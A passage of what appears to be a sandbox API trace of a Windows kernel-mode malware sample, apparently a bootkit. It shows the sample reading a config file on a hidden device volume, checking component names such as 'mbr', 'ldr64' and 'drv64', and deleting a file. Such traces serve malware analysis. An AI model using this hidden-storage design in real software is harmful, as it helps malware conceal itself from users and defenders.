(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.618] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.618] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.618] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.618] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.618] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da3e0 [0117.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.619] KeLeaveCriticalRegion () [0117.619] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.619] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.619] KeEnterCriticalRegion () [0117.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.619] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.619] KeLeaveCriticalRegion () [0117.619] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.619] KeEnterCriticalRegion () [0117.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.619] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.619] IdePortDispatch () returned 0x103 [0117.619] KeWaitForMutexObject () returned 0x0 [0117.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.619] KeLeaveCriticalRegion () [0117.619] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.619] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.619] KeEnterCriticalRegion () [0117.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.619] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cde000 [0117.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.619] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.619] IdePortDispatch () returned 0x103 [0117.619] KeWaitForMutexObject () returned 0x0 [0117.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.620] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.620] IdePortDispatch () returned 0x103 [0117.620] KeWaitForMutexObject () returned 0x0 [0117.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.620] KeLeaveCriticalRegion () [0117.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.620] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.620] KeEnterCriticalRegion () [0117.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.620] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.620] KeLeaveCriticalRegion () [0117.620] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.620] KeEnterCriticalRegion () [0117.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.620] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.620] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.621] KeLeaveCriticalRegion () [0117.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.621] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.621] KeEnterCriticalRegion () [0117.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.621] ExFreePoolWithTag (P=0xfffffa80039da3e0, Tag=0x0) [0117.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.621] KeLeaveCriticalRegion () [0117.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.621] ReleaseMutex (hMutex=0xf0) returned 1 [0117.621] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.621] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.621] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.621] KeEnterCriticalRegion () [0117.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.621] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.621] IdePortDispatch () returned 0x103 [0117.621] KeWaitForMutexObject () returned 0x0 [0117.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.621] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.621] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.621] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.621] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.621] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1340 [0117.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.621] KeLeaveCriticalRegion () [0117.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.621] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.621] KeEnterCriticalRegion () [0117.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.622] KeLeaveCriticalRegion () [0117.622] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.622] KeEnterCriticalRegion () [0117.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.622] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.622] IdePortDispatch () returned 0x103 [0117.623] KeWaitForMutexObject () returned 0x0 [0117.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.623] KeLeaveCriticalRegion () [0117.623] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.623] KeEnterCriticalRegion () [0117.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.623] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdf000 [0117.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.623] IdePortDispatch () returned 0x103 [0117.623] KeWaitForMutexObject () returned 0x0 [0117.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.623] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.623] IdePortDispatch () returned 0x103 [0117.623] KeWaitForMutexObject () returned 0x0 [0117.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.624] KeLeaveCriticalRegion () [0117.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.624] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.624] KeEnterCriticalRegion () [0117.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.624] KeLeaveCriticalRegion () [0117.624] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.624] KeEnterCriticalRegion () [0117.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.624] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.624] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.624] KeLeaveCriticalRegion () [0117.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.624] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.624] KeEnterCriticalRegion () [0117.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.624] ExFreePoolWithTag (P=0xfffffa80039c1340, Tag=0x0) [0117.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.624] KeLeaveCriticalRegion () [0117.624] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.625] ReleaseMutex (hMutex=0xf0) returned 1 [0117.625] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.625] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.625] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.625] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.625] KeEnterCriticalRegion () [0117.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.625] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.625] IdePortDispatch () returned 0x103 [0117.625] KeWaitForMutexObject () returned 0x0 [0117.625] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.625] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.625] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.625] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.625] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.625] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.625] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.625] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.625] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.626] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.626] KeLeaveCriticalRegion () [0117.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.626] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.626] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.626] KeEnterCriticalRegion () [0117.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.626] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.626] IdePortDispatch () returned 0x103 [0117.626] KeWaitForMutexObject () returned 0x0 [0117.626] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.626] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.626] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.626] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.626] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.626] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.626] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.626] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.626] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.626] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.626] KeLeaveCriticalRegion () [0117.626] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.626] ReleaseMutex (hMutex=0x100) returned 1 [0117.626] Sleep (dwMilliseconds=0x2bf20) [0117.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x695078b0, dwHighDateTime=0x1d24fa4)) [0117.633] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.633] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.633] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.633] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.633] KeEnterCriticalRegion () [0117.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.633] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.633] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.633] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.633] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.633] IdePortDispatch () returned 0x103 [0117.633] KeWaitForMutexObject () returned 0x0 [0117.633] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.633] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.633] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.633] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.633] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.633] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1340 [0117.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.633] KeLeaveCriticalRegion () [0117.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.634] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.634] KeEnterCriticalRegion () [0117.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.634] KeLeaveCriticalRegion () [0117.634] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.634] KeEnterCriticalRegion () [0117.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.634] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.634] IdePortDispatch () returned 0x103 [0117.634] KeWaitForMutexObject () returned 0x0 [0117.634] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.634] KeLeaveCriticalRegion () [0117.634] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.634] KeEnterCriticalRegion () [0117.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce2000 [0117.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.634] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.634] IdePortDispatch () returned 0x103 [0117.634] KeWaitForMutexObject () returned 0x0 [0117.635] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.635] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.635] IdePortDispatch () returned 0x103 [0117.635] KeWaitForMutexObject () returned 0x0 [0117.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.635] KeLeaveCriticalRegion () [0117.635] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.635] _snprintf (in: _Dest=0xfffff880028b2790, 